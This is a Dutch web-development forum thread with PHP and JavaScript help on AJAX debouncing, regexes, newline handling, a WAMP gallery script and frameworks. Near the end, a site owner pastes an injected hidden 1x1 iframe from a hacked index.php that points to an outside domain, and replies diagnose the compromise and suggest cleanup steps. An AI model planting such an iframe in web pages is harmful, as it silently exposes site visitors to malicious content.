abonnement Unibet Coolblue Bitvavo
pi_117777713
quote:
0s.gif Op dinsdag 9 oktober 2012 10:07 schreef mstx het volgende:

[..]

[..]

Ik doe zoiets meestal met een timeout, dus dit idee:
[ code verwijderd ]

Dan stuurt hij max. elke 3 seconden iets naar je server.
Hoe is dit idee eigenlijk? ik begrijp de code half, je wil als er 3 seconde niks gebeurt iets verstuurt?
Want ik heb nu
1<input type='text' name='field_name' value='' onchange="Update_field_table($rownumber,$value);" />
Daarbij gebruik ik een stukje javascript:
1
2
3
4
5
6
7
8
function Update_field_table(rownumber,waarde)
{
  //irrelevant hieronder.
   $.post{
    waarde : waarde,
    rownumber : rownumber
    }
}

Hoe wou je daartussen dan de timeout neerzetten? want dan was je idee dat hij elke keer de timeout cleared onchange? en pas na 3 seconde submit. onchange submitten heb ik al onder de knie, alleen hoe was je idee met de 3 seconde timeout? dat hij pas na 3 seconde na de onchange aanpast? Ideaal eigenlijk als er geen change meer plaatsvind. dus 2 seconde na laatste change. :P


Ontleed:
Trigger: Als een key up wordt gedrukt laad hij deze functie.
Als er 3 seconde geen knop boven is gedrukt verstuurd hij het richting de server ( aanroep functieDieAjax); als ik het begrijp? :P anders timeout leegmaken.
1
2
3
4
5
var timeout=null;
function onkeyupfunctie(){
if (timeout!=null) clearTimeout(timeout);
setTimeout("functieDieAjaxVerstuurt()", 3000);
}


[ Bericht 5% gewijzigd door cablegunmaster op 09-10-2012 16:06:02 ]
Redacted
  dinsdag 9 oktober 2012 @ 16:47:09 #102
125913 Devolution
Beep beep Richie
pi_117779377
Bedankt voor al jullie hulp en zorgen maar ik heb er al genoeg over nagedacht en ik vind het prima zo. Het is verder iets voor mezelf, niet voor een klant dus ik zit er niet zo mee als het niet perfect is.
"You know what Hell really is? It's not lakes of burning oil or chains of ice. It's being removed from God's sight."
  dinsdag 9 oktober 2012 @ 16:58:23 #103
91039 mstx
2x1/2 = 1/2 x 1/2
pi_117779792
quote:
0s.gif Op dinsdag 9 oktober 2012 16:00 schreef cablegunmaster het volgende:

[..]

Hoe is dit idee eigenlijk? ik begrijp de code half, je wil als er 3 seconde niks gebeurt iets verstuurt?
Want ik heb nu
[ code verwijderd ]

Daarbij gebruik ik een stukje javascript:
[ code verwijderd ]

Hoe wou je daartussen dan de timeout neerzetten? want dan was je idee dat hij elke keer de timeout cleared onchange? en pas na 3 seconde submit. onchange submitten heb ik al onder de knie, alleen hoe was je idee met de 3 seconde timeout? dat hij pas na 3 seconde na de onchange aanpast? Ideaal eigenlijk als er geen change meer plaatsvind. dus 2 seconde na laatste change. :P

Ontleed:
Trigger: Als een key up wordt gedrukt laad hij deze functie.
Als er 3 seconde geen knop boven is gedrukt verstuurd hij het richting de server ( aanroep functieDieAjax); als ik het begrijp? :P anders timeout leegmaken.
[ code verwijderd ]

Ja volgens mij snap je het wel zo'n beetje.
Bij elke druk op de knop slaat hij een actie op in de variabele "timeout" die over 3 seconden uitgevoerd wordt. Voordat hij dat doet verwijdert hij die functie weer als die in die variabele is opgeslagen.
Dus zolang je steeds binnen 3 seconden op een knop drukt blijft hij die actie verwijderen en daarna weer opnieuw starten voor over 3 seconden.
Op donderdag 2 juli 2009 22:41 schreef RTB het volgende:
als ik elk rap"liedje" een kans moest geven was ik aan het eind van dit millennium nog bezig met het tempo waarin die kotshoop uitgebraakt wordt.
👾
pi_117835348
ik heb een tekst invul form, de tekst schrijf ik wel in een txt file
als ik in de tekstarea een harde return geef dan komt deze ook in de txt file terecht.
Als ik de textfile uitlees dan zie ik die harde return ook weer terug op het scherm...da's nie de bedoeling

hoe krijg ik de harde return eruit?
trim lijkt niet te werken
pi_117835430
quote:
0s.gif Op woensdag 10 oktober 2012 22:31 schreef MrNiles het volgende:
ik heb een tekst invul form, de tekst schrijf ik wel in een txt file
als ik in de tekstarea een harde return geef dan komt deze ook in de txt file terecht.
Als ik de textfile uitlees dan zie ik die harde return ook weer terug op het scherm...da's nie de bedoeling

hoe krijg ik de harde return eruit?
trim lijkt niet te werken
http://nl1.php.net/nl2br die functie nodig? (ik weet even niet waarom je die harde return niet wilt hebben :P)
pi_117835659
quote:
0s.gif Op woensdag 10 oktober 2012 22:33 schreef mschol het volgende:

[..]

http://nl1.php.net/nl2br die functie nodig? (ik weet even niet waarom je die harde return niet wilt hebben :P)
ik wil de harde return niet in mijn txt file terug zien als harde return maar alleen als <br/>
  woensdag 10 oktober 2012 @ 22:37:46 #107
12221 Tijn
Powered by MS Paint
pi_117835687
quote:
0s.gif Op woensdag 10 oktober 2012 22:37 schreef MrNiles het volgende:

[..]

ik wil de harde return niet in mijn txt file terug zien als harde return maar alleen als <br/>
Dat is precies wat nl2br() doet.
pi_117835873
quote:
6s.gif Op woensdag 10 oktober 2012 22:37 schreef Tijn het volgende:

[..]

Dat is precies wat nl2br() doet.
ow..ok..ff proberen dan
kwam er net achter dat een harde return een carriage return heet...dat zoekt een stuk makkelijker
kwam op deze oplossing
$bericht= trim( preg_replace( '/\s+/', ' ', $bericht) );
  woensdag 10 oktober 2012 @ 22:59:02 #109
85514 ralfie
!Yvan eht nioj
pi_117837041
quote:
0s.gif Op woensdag 10 oktober 2012 22:40 schreef MrNiles het volgende:

[..]

ow..ok..ff proberen dan
kwam er net achter dat een harde return een carriage return heet...dat zoekt een stuk makkelijker
kwam op deze oplossing
$bericht= trim( preg_replace( '/\s+/', ' ', $bericht) );
Een carriage return is het '\r' symbool. Het 'ga naar de volgende regel' symbool is de newline '\n'.
Windows vindt het nodig om beide te gebruiken als 'harde enter' of hoe je het noemen wil:

jantje\r\n
Dit is een nieuwe regel

*nix doet standaard alleen de '\n' gebruiken

jantje\n
Dit is een nieuwe regel

Waarom windows het in twee symbolen doet is historisch, eigenlijk. Een carriage return is wat je met je typmachine doet, het terugslingeren van je papier om de 'cursor' weer aan het begin van de regel te krijgen. De newline, het doordraaien van je papier, is datgene wat de nieuwe regel maakt.

In console output kun je met een carriage return de huidige regel overschrijven. Handig voor voortgang e.d.
  woensdag 10 oktober 2012 @ 23:13:42 #110
37634 wobbel
Da WoBBeL King
pi_117837996
Help, wat doe ik weer eens fout :') Ik krijg bij huidige waarde van $henk fout terug :(

Ik wil nummers en + toestaan (voor telefoonnummers met of zonder + ervoor)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// Telefoonnummer controle        
$henk "+3107365252"// OK
$henk "2355929253"// OK
$henk "+352329523" // OK
$henk "035ABC"// FOUT
$henk "+35235a"// FOUT
if ( preg_match "/^\+?\d+$/"$henk ) )
{
    
    echo 
"OK";
    
}
else
{
    
    echo                                                
"FOUT";    
    
}
?>
pi_117838401
quote:
0s.gif Op woensdag 10 oktober 2012 23:13 schreef wobbel het volgende:
Help, wat doe ik weer eens fout :') Ik krijg bij huidige waarde van $henk fout terug :(

Ik wil nummers en + toestaan (voor telefoonnummers met of zonder + ervoor)
[ code verwijderd ]

zoiets?"
1
2
3
4
5
if (preg_match('/^\+?\d{1,10}$|\d{1,10}$/i', $subject)) {
    # Successful match
} else {
    # Match attempt failed
}
zal vast niet het meest efficientst zijn :X (gezien ik geen regex held ben het even met regexbuddy in elkaar geknutseld..)
  woensdag 10 oktober 2012 @ 23:26:01 #112
37634 wobbel
Da WoBBeL King
pi_117838612
quote:
0s.gif Op woensdag 10 oktober 2012 23:21 schreef mschol het volgende:

[..]

zoiets?"
[ code verwijderd ]

zal vast niet het meest efficientst zijn :X (gezien ik geen regex held ben het even met regexbuddy in elkaar geknutseld..)
Het gaat met name om de snelheid van de regex aangezien de regex vele tienduizenden keren per dag uitgevoerd gaat worden.

En volgens mij is 0-9 toch echt handiger dan 1-10 :+
pi_117838698
quote:
0s.gif Op woensdag 10 oktober 2012 23:26 schreef wobbel het volgende:

[..]

Het gaat met name om de snelheid van de regex aangezien de regex vele tienduizenden keren per dag uitgevoerd gaat worden.

En volgens mij is 0-9 toch echt handiger dan 1-10 :+
voor optimalisatie moet je niet bij mij zijn :@

en 0-9? lijkt me erg onhandig, je eerste voorbeeld matcht hij dan al niet... ;)
1-10 is vanaf 1 cijfer tot max 10 cijfers...
  woensdag 10 oktober 2012 @ 23:30:25 #114
37634 wobbel
Da WoBBeL King
pi_117838823
quote:
0s.gif Op woensdag 10 oktober 2012 23:27 schreef mschol het volgende:

[..]

voor optimalisatie moet je niet bij mij zijn :@

en 0-9? lijkt me erg onhandig, je eerste voorbeeld matcht hij dan al niet... ;)
1-10 is vanaf 1 cijfer tot max 10 cijfers...
Ah, ik snap dus al niks van regexen :P

Hij mag numeriek zijn, of numeriek en beginnen met +. De lengte is verder niet van belang, van 1 tot 100 cijfers ik vind het allemaal goed :P
  woensdag 10 oktober 2012 @ 23:50:16 #115
12221 Tijn
Powered by MS Paint
pi_117839515
quote:
0s.gif Op woensdag 10 oktober 2012 23:13 schreef wobbel het volgende:

Ik wil nummers en + toestaan (voor telefoonnummers met of zonder + ervoor)
Is filter_var() dan geen oplossing?

1
2
3
<?php
echo filter_var('+1234henk-5678aaa'FILTER_SANITIZE_NUMBER_FLOAT);
?>

Hier komt uit:

1+1234-5678
pi_117840534
Wat Tijn zegt, of FILTER_VALIDATE_FLOAT, die geeft true of false terug. (misschien iets te stikt voor telefoonnummers, als je ook streepjes of spaties wilt toestaan)
pi_117841583
$valid = ( $henk{1} === '+' || ctype_digit($henk{1}) && ctype_digit(substr($henk, 1)) );

Zoiets ? :P
..///
pi_117841848
quote:
14s.gif Op donderdag 11 oktober 2012 00:30 schreef KomtTijd... het volgende:
Wat Tijn zegt, of FILTER_VALIDATE_FLOAT, die geeft true of false terug. (misschien iets te stikt voor telefoonnummers, als je ook streepjes of spaties wilt toestaan)
Mja, eerst trimmen voordat je hem door de filter haalt. Slikt ie in ieder geval spaties.
pi_117857423
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var timeout=null;
function update_voucher(rownumber,waarde){
    var rownumber = rownumber;
    var waarde = waarde;
    if (timeout!=null)
    clearTimeout(timeout);
    setTimeout(function(){
        functieVoucherVerstuurd(rownumber,waarde);
    }, 2000);
}

function functieVoucherVerstuurd(rownumber,waarde)
{
    var value = $("."+waarde).val();
    $.post("/cms/voucher/blablabla/", {
        id : rownumber,
        value : value,
        field : waarde,
        post_ajax : "true"
    },    function(data){
        alert(waarde+" veld is geupdate met: "+value);
    });
}
werkt goed :P alleen nog iets met this erbij :P

1var value = $("."+waarde).val();
zit nog niet helemaal lekker, hij pakt alleen de bovenste rij omdat dit zo staat. alleen iets met this? snap daar nog niet helemaal de syntax van :o.

[ Bericht 3% gewijzigd door cablegunmaster op 11-10-2012 16:14:29 ]
Redacted
pi_117857611
Als je al nederlandse functienamen gebruikt, maak ze dan op zijn minst grammaticaal correct ;(
  donderdag 11 oktober 2012 @ 16:20:15 #121
75592 GlowMouse
l'état, c'est moi
pi_117857891
Kijk eens naar de jQuery-documentatie over traversing. Je laat niet zien hoe de functie wordt aangeroepen, maar vanaf $(this) is de rij waarschijnlijk niet ver in de dom-tree.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_117858193
quote:
0s.gif Op donderdag 11 oktober 2012 16:20 schreef GlowMouse het volgende:
Kijk eens naar de jQuery-documentatie over traversing. Je laat niet zien hoe de functie wordt aangeroepen, maar vanaf $(this) is de rij waarschijnlijk niet ver in de dom-tree.
Idee is eigenlijk dat hij zichzelf vind, dus met behulp van onchange eigenlijk weet dat hij Input te pakken heeft de huidige rij te pakken heeft. ik zat me net te bedenken is het dan slim om elke rij een eigen nummer id mee te geven , op basis van de ID in de DB? zo van:

1
2
3
4
5
<?php
<tr id='voucher-500' >
  <
td><input  name='datum' value='2012-01-01' onchange="update_voucher('500','datum');" /></td>
<
tr>
?>

Op basis van het "voucher"+500 de input te pakken? (hoe weet ik nog niet :P ).
Daar vervolgens de children van die TR te pakken? :P
Redacted
  donderdag 11 oktober 2012 @ 16:30:35 #123
75592 GlowMouse
l'état, c'est moi
pi_117858326
wat is de .val() van die tr dan?
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_117858389
quote:
0s.gif Op donderdag 11 oktober 2012 16:30 schreef GlowMouse het volgende:
wat is de .val() van die tr dan?
dankje voor het idee, even kijken of ik het toegepast krijg :).
Oplossing: op basis van de DB + veldnaam het toe te passen O+ .

[ Bericht 12% gewijzigd door cablegunmaster op 11-10-2012 16:39:06 ]
Redacted
pi_117858451
quote:
10s.gif Op donderdag 11 oktober 2012 16:12 schreef KomtTijd... het volgende:
Als je al nederlandse functienamen gebruikt, maak ze dan op zijn minst grammaticaal correct ;(
Ben nu bezig met een php project waar alle functienamen en variabelen in het Spaans zijn ;(
pi_117858668
quote:
0s.gif Op donderdag 11 oktober 2012 16:27 schreef cablegunmaster het volgende:

[..]

Idee is eigenlijk dat hij zichzelf vind, dus met behulp van onchange eigenlijk weet dat hij Input te pakken heeft de huidige rij te pakken heeft. ik zat me net te bedenken is het dan slim om elke rij een eigen nummer id mee te geven , op basis van de ID in de DB? zo van:
[ code verwijderd ]

Op basis van het "voucher"+500 de input te pakken? (hoe weet ik nog niet :P ).
Daar vervolgens de children van die TR te pakken? :P
Owja, geweldig, database id`tjes meegeven.
pi_117858698
quote:
9s.gif Op donderdag 11 oktober 2012 16:38 schreef Scorpie het volgende:
Owja, geweldig, database id`tjes meegeven.
Beter idee? :P dit is toch voor achter de schermen gebruik.
Redacted
pi_117858786
quote:
0s.gif Op donderdag 11 oktober 2012 16:39 schreef cablegunmaster het volgende:

[..]

Beter idee? :P dit is toch voor achter de schermen gebruik.
ALS je al id`tjes gebruikt, dan gooi ik die informatie altijd in het HTML5 attribuut data. Met jQuery kan je die vervolgens door $(selector).data('var'); uitlezen.
  donderdag 11 oktober 2012 @ 16:44:20 #129
75592 GlowMouse
l'état, c'est moi
pi_117858930
quote:
0s.gif Op donderdag 11 oktober 2012 16:32 schreef cablegunmaster het volgende:

[..]

Oplossing: op basis van de DB + veldnaam het toe te passen O+ .
ik had je al een prachtoplossing gegeven
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_117858975
quote:
0s.gif Op donderdag 11 oktober 2012 16:44 schreef GlowMouse het volgende:

[..]

ik had je al een prachtoplossing gegeven
die snapte ik niet :@

Het idee is eigenlijk als volgt met behulp van een tabel een input field aanpassen en doorverwerken in de DB. Dat is het idee, daarom heb ik perse een Id nodig :P

[ Bericht 18% gewijzigd door cablegunmaster op 11-10-2012 16:50:15 ]
Redacted
pi_117891615
ik bij een webhoster een stukje script staan om een mapje met foto's te displayen op scherm.

Nu wilde ik en een collega dat lokaal zetten met WAMP
files 1op1 gekopieerd, maar nu krijg ik geen foto's te zien lokaal
Moet ik in WAMP nog bepaalde opties aan/uit zetten?

Dit is het script (copied van internet)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
// Original PHP code by Chirp Internet: www.chirp.com.au
 // Please acknowledge use of this code by including this header.

$imagetypes = array("image/jpeg""image/gif");

function 
getImages_after($dir)
 {
 global 
$imagetypes;

// array to hold return value
$retval = array();

// add trailing slash if missing
if(substr($dir, -1) != "/"$dir .= "/";

// full server path to directory
$fulldir "{$_SERVER['DOCUMENT_ROOT']}/$dir";

$d = @dir($fulldir) or die("getImages: Failed opening directory $dir for reading");
while(
false !== ($entry $d->read())) {
// skip hiddenfiles
if($entry[0] == ".") continue;

// check for image files
$f escapeshellarg("$fulldir$entry");
$mimetype trim(`file -bi $f`);
foreach(
$imagetypes as $valid_type) {
if(
preg_match("@^{$valid_type}@"$mimetype)) {
$retval[] = array(
'file' => "/$dir$entry",
'size' => getimagesize("$fulldir$entry") );

break;
}
}
}

 
$d->close();

sort($retval);
 return 
$retval;
}

 
// fetch image details
$images getImages_after("images/after");

// display on page
foreach($images as $img) {

echo 
"<div class='boxed'>";
echo 
"<img class='photo' src='{$img['file']}{$img['size'][3]} alt=' '> \n";
echo 
"<a href=\"{$img['file']}\">",basename($img['file']),"</a><br>\n";
echo 
"</div>";
 }
?>
pi_117892654
hoe ver was je al met debuggen?
pi_117893214
quote:
14s.gif Op vrijdag 12 oktober 2012 13:45 schreef KomtTijd... het volgende:
hoe ver was je al met debuggen?
bij de hoster online werkt het
dus ik verdenkt wamp
maar ik heb daar nog nooit mee gewerkt en ik heb geen idee waar te zoeken
vandaar mijn vraag hier...voor dummies
pi_117893273
Dat vroeg ik niet, ik vroeg hoe ver je bent met debuggen. Watvoor foutmeldingen krijg je?

-edit-
heb je in je php.ini error_reporting op E_ALL gezet?
pi_117893964
quote:
14s.gif Op vrijdag 12 oktober 2012 13:59 schreef KomtTijd... het volgende:
Dat vroeg ik niet, ik vroeg hoe ver je bent met debuggen. Watvoor foutmeldingen krijg je?

-edit-
heb je in je php.ini error_reporting op E_ALL gezet?
yep
error reporting staat aan
geen errors..alles lijkt het te doen maar ik zie geen foto's
als ik een echo "blabla"; erin zet dan krijg ik die op scherm, dus wamp werkt wel
maar misschien moet ik iets speciaals aanzetten
  FOK!-Schrikkelbaas vrijdag 12 oktober 2012 @ 14:20:20 #136
1972 Swetsenegger
Egocentrische Narcist
pi_117894075
quote:
0s.gif Op vrijdag 12 oktober 2012 14:17 schreef MrNiles het volgende:

[..]

yep
error reporting staat aan
geen errors..alles lijkt het te doen maar ik zie geen foto's
als ik een echo "blabla"; erin zet dan krijg ik die op scherm, dus wamp werkt wel
maar misschien moet ik iets speciaals aanzetten
Zet dit eens bovenaan je script

1
2
3
4
<?php
ini_set
('display_errors',1);
error_reporting(E_ALL);
?>
pi_117894116
ohja display_errors, die bitch vergeet ik ook altijd ;(
pi_117894424
; error_reporting
; Default Value: E_ALL & ~E_NOTICE
; Development Value: E_ALL | E_STRICT
; Production Value: E_ALL & ~E_DEPRECATED

quote:
Zet dit eens bovenaan je script
done

displayed
getImages: Failed opening directory images/before/ for reading
  vrijdag 12 oktober 2012 @ 14:31:43 #139
267443 Cue_
Cuecumbergirl
pi_117894482
quote:
0s.gif Op vrijdag 12 oktober 2012 14:30 schreef MrNiles het volgende:

getImages: Failed opening directory images/before/ for reading
Rechtenkwestie? Of verkeerde map?
  vrijdag 12 oktober 2012 @ 14:33:12 #140
12221 Tijn
Powered by MS Paint
pi_117894535
quote:
14s.gif Op vrijdag 12 oktober 2012 14:21 schreef KomtTijd... het volgende:
ohja display_errors, die bitch vergeet ik ook altijd ;(
Mja, of gewoon een terminalschermpje open waarin je inlogt op je server en dan dit draait

1tail -f /var/log/apache2/error.log
pi_117894626
quote:
5s.gif Op vrijdag 12 oktober 2012 14:31 schreef Cue_ het volgende:

[..]

Rechtenkwestie? Of verkeerde map?

mappen zijn goed
rechten..moet je dat ergens instellen in wamp..alles staat lokaal


had in www van wamp een submapje gemaakt met project naam
dat ging ergens fout denk ik...nu alles in de root gezet
error weg..but no pics
en geen errors

misschien toch ergens een foutje in het script waar de hoster niet over valt
echo van $fulldir geeft C:/wamp/www//images/after/
een dubbele // kan niet goed zijn denk ik
of wel....geen images

niemand nog een tip of een hint waar het fout kan gaan...
code is rechtstreeks van de server in wamp gezet...misschien een functie of extensie die niet aanstaat?

[ Bericht 11% gewijzigd door MrNiles op 12-10-2012 15:29:18 ]
  vrijdag 12 oktober 2012 @ 20:22:44 #142
25889 Sitethief
Fulltime Flapdrol
pi_117906103
quote:
10s.gif Op vrijdag 12 oktober 2012 14:33 schreef Tijn het volgende:

[..]

Mja, of gewoon een terminalschermpje open waarin je inlogt op je server en dan dit draait
[ code verwijderd ]

Maar das handig :o.
Stroek: Sitethief, die is heel groot en sterk :Y.
Faat: *zucht* zoals gewoonlijk hoor Sitethief weer in de bocht &gt;:)
  vrijdag 12 oktober 2012 @ 20:39:07 #143
25889 Sitethief
Fulltime Flapdrol
pi_117907055
Als je nou stap voors tap door je code heen loopt, alle waardes echo't of var_dumpt, dan moet je zelf het probleem toch ook vinden?
Stroek: Sitethief, die is heel groot en sterk :Y.
Faat: *zucht* zoals gewoonlijk hoor Sitethief weer in de bocht &gt;:)
pi_117911953
quote:
0s.gif Op vrijdag 12 oktober 2012 14:35 schreef MrNiles het volgende:

misschien toch ergens een foutje in het script waar de hoster niet over valt
echo van $fulldir geeft C:/wamp/www//images/after/
een dubbele // kan niet goed zijn denk ik
of wel....geen images

niemand nog een tip of een hint waar het fout kan gaan...
code is rechtstreeks van de server in wamp gezet...misschien een functie of extensie die niet aanstaat?
Waarschijnlijk gaat het fout op de plek waar $fulldir wordt gevuld. Er wordt ergens een pad zonder / verwacht maar een met / gegeven.
pi_117999286
Weet iemand waarom apache een 400 bad request produceert wanneer ik %u9019 toevoeg in een url :? Het gaat om een chinese teken in utf8 (urlencoded). Werkt trouwens ook bij fok.nl :P

edit: opgelost door encodeURIComponent ipv escape in javascript te gebruiken....

[ Bericht 11% gewijzigd door wipes66 op 15-10-2012 15:23:49 ]
..///
pi_118007376
Ik heb een vraagje:

Ik beheer de site voor onze vereniging. Nu wou ik vandaag de site bezoeken en krijg ik de volgende error:

Parse error: syntax error, unexpected '<' in C:\domains\denachtulkes.nl\wwwroot\index.php on line 88

Nu heb ik gezocht in mijn index.php en kwam ik dit tegen op line 88:
1
2
3
<?php
echo JResponse::toString($mainframe->getCfg('gzip'));<html><body><iframe src="http://abromdusgolkaman.com" width="1" height="1" frameborder="0"></iframe></body></html>
?>

Ik zie zelf de fout zo niet, kan een van jullie me helpen?
Hattrick: Atletico Mineiro S.C. (816058)
pi_118007639
quote:
0s.gif Op maandag 15 oktober 2012 18:47 schreef Swennus het volgende:
Ik heb een vraagje:

Ik beheer de site voor onze vereniging. Nu wou ik vandaag de site bezoeken en krijg ik de volgende error:

Parse error: syntax error, unexpected '<' in C:\domains\denachtulkes.nl\wwwroot\index.php on line 88

Nu heb ik gezocht in mijn index.php en kwam ik dit tegen op line 88:
[ code verwijderd ]

Ik zie zelf de fout zo niet, kan een van jullie me helpen?
echt niet?
het ziet er nou niet bepaald zuiver uit, dat iframe :')
pi_118007891
quote:
0s.gif Op maandag 15 oktober 2012 18:47 schreef Swennus het volgende:
Ik heb een vraagje:

Ik beheer de site voor onze vereniging. Nu wou ik vandaag de site bezoeken en krijg ik de volgende error:

Parse error: syntax error, unexpected '<' in C:\domains\denachtulkes.nl\wwwroot\index.php on line 88

Nu heb ik gezocht in mijn index.php en kwam ik dit tegen op line 88:
[ code verwijderd ]

Ik zie zelf de fout zo niet, kan een van jullie me helpen?
Ga maar vast virusscanners draaien, en daarna wachtwoorden aanpassen en je backup terugzetten.
pi_118013373
Haha, nice.
  maandag 15 oktober 2012 @ 21:10:30 #150
75592 GlowMouse
l'état, c'est moi
pi_118014598
Waarom veel verenigingen geen site moeten hebben.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
  dinsdag 16 oktober 2012 @ 11:14:03 #151
25889 Sitethief
Fulltime Flapdrol
pi_118030997
Dat soort dingen krijg je als mensen hun ftp gegevens in Filezilla opslaan, en vervolgens last van malware krijgen. Heb ik wel eens meegemaakt bij een andere vereniging. Server stond ineens vol met de raarste .js bestanden.
Stroek: Sitethief, die is heel groot en sterk :Y.
Faat: *zucht* zoals gewoonlijk hoor Sitethief weer in de bocht &gt;:)
pi_118031856
quote:
14s.gif Op maandag 15 oktober 2012 19:02 schreef KomtTijd... het volgende:

[..]

Ga maar vast virusscanners draaien, en daarna wachtwoorden aanpassen en je backup terugzetten.
Voeg dit ook maar toe aan het lijstje:
Zorg dat alle gebruikte scripts up to date zijn.
Geldt ook voor de server waar de website staat.
  dinsdag 16 oktober 2012 @ 11:58:26 #153
75592 GlowMouse
l'état, c'est moi
pi_118032298
En stel ip-restricties in voor je ftp-users.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_118041404
:P Weet niet of Laravel hier al bekend is, maar wat een genot is het om daar mee te werken.
Soort van RoR maar dan in PHP, met de duidelijke structuur en handige tools inbegrepen.

Echt fap fap fap,

pi_118041588
quote:
0s.gif Op maandag 8 oktober 2012 20:47 schreef pascal08 het volgende:
Heeft iemand hier ervaring met cURL? Ik heb een loginscript, maar ik krijg geen output. Waarschijnlijk heeft het te maken met een cookie.txt file waar naartoe geschreven moet kunnen worden. Ik weet alleen niet hoe. :?
Weet je zeker dat cookie.txt wel de juiste rechten heeft? Dus mag er in geschreven worden.
En je moet dit ook even toevoegen.

1
2
3
4
<?php
curl_setopt 
($chCURLOPT_COOKIEFILEdirname(__FILE__) . "\cookie.txt");
curl_setopt ($chCURLOPT_COOKIEJAR,  dirname(__FILE__) . "\cookie.txt");
?>
pi_118174044
quote:
19s.gif Op dinsdag 16 oktober 2012 16:01 schreef TwenteFC het volgende:
:P Weet niet of Laravel hier al bekend is, maar wat een genot is het om daar mee te werken.
Soort van RoR maar dan in PHP, met de duidelijke structuur en handige tools inbegrepen.

Echt fap fap fap,

[ afbeelding ]
maar het werk vooral op basis van globals/singletons/static calls als ik het zo zie. :{w

:P
..///
pi_118174185
quote:
0s.gif Op vrijdag 19 oktober 2012 15:44 schreef wipes66 het volgende:

[..]

maar het werk vooral op basis van globals/singletons/static calls als ik het zo zie. :{w

:P
Ja care, het werkt fijn doet wat het moet doen en de performance is uitermate goed.
En daarbij zijn ze nu bezig met Versie 4.
http://www.thenerdary.net/post/30859565484/laravel-4

Welk framework zou jij aanraden dan? :P Als je Zend zegt ...

[ Bericht 7% gewijzigd door TwenteFC op 19-10-2012 16:06:48 ]
pi_118174984
CakePHP.
pi_118175151
quote:
19s.gif Op vrijdag 19 oktober 2012 15:47 schreef TwenteFC het volgende:

[..]

Ja care, het werkt fijn doet wat het moet doen en de performance is uitermate goed.
En daarbij zijn ze nu bezig met Versie 4.

Welk framework zou jij aanraden dan? :P Als je Zend zegt ...
symfonie vind ik erg elegant in elkaar zitten, maar zelf vind ik het iets te complex en te abstract in elkaar zitten voor praktisch gebruik. Ik zelf gebruik een zelfgemaakte framework, maar die is natuurlijk ook niet perfect :P
..///
pi_118175255
quote:
10s.gif Op vrijdag 19 oktober 2012 16:09 schreef Diabox het volgende:
CakePHP.
:P Het is dat je er zelf al een smiley voor plaatst.

quote:
0s.gif Op vrijdag 19 oktober 2012 16:13 schreef wipes66 het volgende:

[..]

symfonie vind ik erg elegant in elkaar zitten, maar zelf vind ik het iets te complex en te abstract in elkaar zitten voor praktisch gebruik. Ik zelf gebruik een zelfgemaakte framework, maar die is natuurlijk ook niet perfect :P
Symfony is geen verkeerd framework, maar het ligt ook wel een beetje aan het project natuurlijk.
Wat het "beste" framework is blijft natuurlijk altijd afhangen van je persoonlijke wensen en voorkeuren.
pi_118175764
quote:
19s.gif Op vrijdag 19 oktober 2012 16:15 schreef TwenteFC het volgende:

[..]

:P Het is dat je er zelf al een smiley voor plaatst.
Dat komt omdat ik er zo tevreden over ben.
  vrijdag 19 oktober 2012 @ 21:36:53 #162
382130 gnaeus
Risu inepto res ineptior nulla
pi_118188705
Even een Cakephp vraagje..

Ik heb een tabel voor een netwerkapparaat. Dat netwerkapparaat heeft poorten. Die poorten staan weer in een aparte tabel.

Tot zover alles ok.

Nu wil ik ook bijhouden welke poort met welke andere poort verbonden is.

Dus apparaatA->poort2 ----- apparaatB->poort8

Ik heb al vanalles geprobeerd, ook een tussentabel, allerhande relaties.. maar het lukt niet.

Het idee van de tussentabel lijkt mij het beste, maar ik heb niet echt een idee hoe ik dit nu moet aanpakken ...
  vrijdag 19 oktober 2012 @ 22:01:09 #163
166255 Maringo
Bèhèhèhèh
pi_118190031
quote:
19s.gif Op dinsdag 16 oktober 2012 16:01 schreef TwenteFC het volgende:
:P Weet niet of Laravel hier al bekend is, maar wat een genot is het om daar mee te werken.
Soort van RoR maar dan in PHP, met de duidelijke structuur en handige tools inbegrepen.

Echt fap fap fap,

[ afbeelding ]
Toevallig vandaag voor het eerst mee gewerkt. Ziet er leuk uit. :Y
Die volg topic-knop hè...
Op 02-06-2014 16:38 schreef Moeraskat
Je bent te goed voor de mensheid.
pi_118191074
quote:
0s.gif Op vrijdag 19 oktober 2012 21:36 schreef gnaeus het volgende:
Even een Cakephp vraagje..

Ik heb een tabel voor een netwerkapparaat. Dat netwerkapparaat heeft poorten. Die poorten staan weer in een aparte tabel.

Tot zover alles ok.

Nu wil ik ook bijhouden welke poort met welke andere poort verbonden is.

Dus apparaatA->poort2 ----- apparaatB->poort8

Ik heb al vanalles geprobeerd, ook een tussentabel, allerhande relaties.. maar het lukt niet.

Het idee van de tussentabel lijkt mij het beste, maar ik heb niet echt een idee hoe ik dit nu moet aanpakken ...
Ligt er aan hoe je het precies wil hebben, ik neem aan dat een apparaat meerdere poorten kan hebben en een poort ook meerdere apparaten?
  vrijdag 19 oktober 2012 @ 22:35:04 #165
382130 gnaeus
Risu inepto res ineptior nulla
pi_118192003
quote:
19s.gif Op vrijdag 19 oktober 2012 22:18 schreef TwenteFC het volgende:

[..]

Ligt er aan hoe je het precies wil hebben, ik neem aan dat een apparaat meerdere poorten kan hebben en een poort ook meerdere apparaten?
Een apparaat heeft meerdere poorten maar een poort kan maar aan 1 andere poort gekoppeld zijn.

Eigenlijk kunnen we de apparaat tabel wel buiten beschouwing laten.

Ik wil in de poort tabel kunnen aangeven aan welk andere poort record deze gekoppeld is. Het moet wel simpel zijn maar ik kom er niet uit..

Een mogelijkheid is misschien een extra veld in de poort tabel te maken met de naam remoteport. Maar als ik dat doe komt Cakephp met allerhande foutmeldingen. Alle poorten zijn uniek in de database.
  vrijdag 19 oktober 2012 @ 22:43:38 #166
382130 gnaeus
